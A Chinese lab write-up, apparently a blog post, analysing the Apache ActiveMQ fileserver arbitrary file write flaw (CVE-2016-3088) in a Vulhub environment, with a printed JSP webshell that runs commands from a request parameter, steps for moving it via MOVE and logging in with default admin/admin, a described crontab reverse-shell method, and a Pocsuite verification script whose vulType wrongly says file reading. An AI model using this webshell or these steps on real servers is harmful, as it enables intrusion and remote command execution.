Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析
一、ActiveMQ简介:
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
二、漏洞描述:
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
1.其使用率并不高
2.文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。在测试过程中,可以关注ActiveMQ的版本,避免走弯路。
三、漏洞原理:
下载源码进行分析,可以看到ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,可以看到第二处的if相当于没有对用户身份进行校验。
PUT方法调用如下函数之后,上传到的目录是在${activemq.home}/webapps/fileserver下,源代码部分如下图:
接下来看MOVE方法的源代码中并没有对移动的路径进行限制
四、漏洞利用:
文件写入有几种利用方法:我们这里演示上传webshell
1.写入webshell
2.写入cron或ssh key等文件
3.写入jar或jetty.xml等库和配置文件
webshell代码
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
我们利用put方法进行任意文件的上传
接下来我们访问上传文件查看是否上传成功。
由于上传的是文本文件并不能被服务器解析,所以我们下一步要利用MOVE方法将上传的webshell移动到可以执行的目录并更改后缀为jsp。
可以解析jsp文件的路径有:
1./opt/activemq/webapps/api
2./opt/activemq/webapps/admin
这里有一个坑,困惑了我很久,我的方法步骤都没有问题为什么MOVE方法会一直响应超时并且得不到任何响应的内容。尝试了很久,我一度怀疑我的vulhub环境有问题,一次偶然中我用burp抓到的包去修改执行MOVE方法很快就得到了响应结果,神奇的是把这个数据包重新复制到repeater执行再次出现响应超时的结果,明明是两个相同的数据包,真是令人费解,我只能归结于MOVE方法在这里不太稳(ps:这是我从别的文章看到的)。
这个就是MOVE成功之后得到的响应内容。
接着我们访问移动后的目录看看结果。但是这里就出现了一个很鸡肋的地方,就是要想访问到我们的webshell必须是登录之后才可以,因为/api,/admin这两个路径必须是登录后才可以访问但是move移动到这两个路径是不需要登录的,好吧,我们输入默认的弱口令admin/admin,登录后看到了我们心心念念的webshell。
拿到了webshell,虽然它很鸡肋但我们仍然要坚强的执行几条命令去宣告我们的战果。
我们简单说一下其他的利用方法,写入crontab,自动化弹shell,这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败),接下来将其移动到/etc/cron.d/root,如果上述两个请求都返回204了,说明写入成功。等待反弹shell,这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。理论上我们可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell。有的情况下,jetty.xml和jar的所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点。尚未测试。
五、Poc编写:
这一部分我们根据漏洞的原理,既然MOVE方法不稳定那么就去验证PUT是否可以执行成功,我在poc编写部分用到了Pocsuite。
代码如下:
from pocsuite.net import req
from pocsuite.poc import POCBase,Output
from pocsuite.utils import register
class ActiveMQPoc(POCBase): # 类名不用担心重复
vulID = '002' # ssvid
version = '1.0'
author = ['xssle']
vulDate = '2019-09-07'
createDate = '2019-09-07'
updateDate = '2019-09-07'
references = ['https://www.secpulse.com/archives/60064.html']
name = 'Apache ActiveMQ 任意文件写入漏洞 (CVE-2016-3088)'
appPowerLink = 'activemq.apache.org'
appName = 'Apache activemq'
appVersion = '版本小于 Apache ActiveMQ 5.14.0'
vulType = 'Arbitrary File Reading'
desc = '''
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),\
同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
'''
pocDesc = '''
pocsuite -r ***.py -u target --verify"
'''
samples = []
install_requires = ['']
def _verify(self):
result = {}
path = "fileserver/poc.txt"
url = self.url + '/' + path
header = {
"Accept": "*/*",
"Accept-Language": "en",
"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"Connection":"close",
"Content-Length":"120976"
}
try:
resp = req.put(url,header)
resp1 = req.get(url,header)
if resp.status_code == 204 and str(resp1.status_code)[0] in ('2','3') :
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
except Exception as ex:
pass
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def _attack(self):
return self._verify()
register(ActiveMQPoc)
代码执行效果如下:
如果可以的话我想把这个写成系列文章,希望大家鼓励。
精彩推荐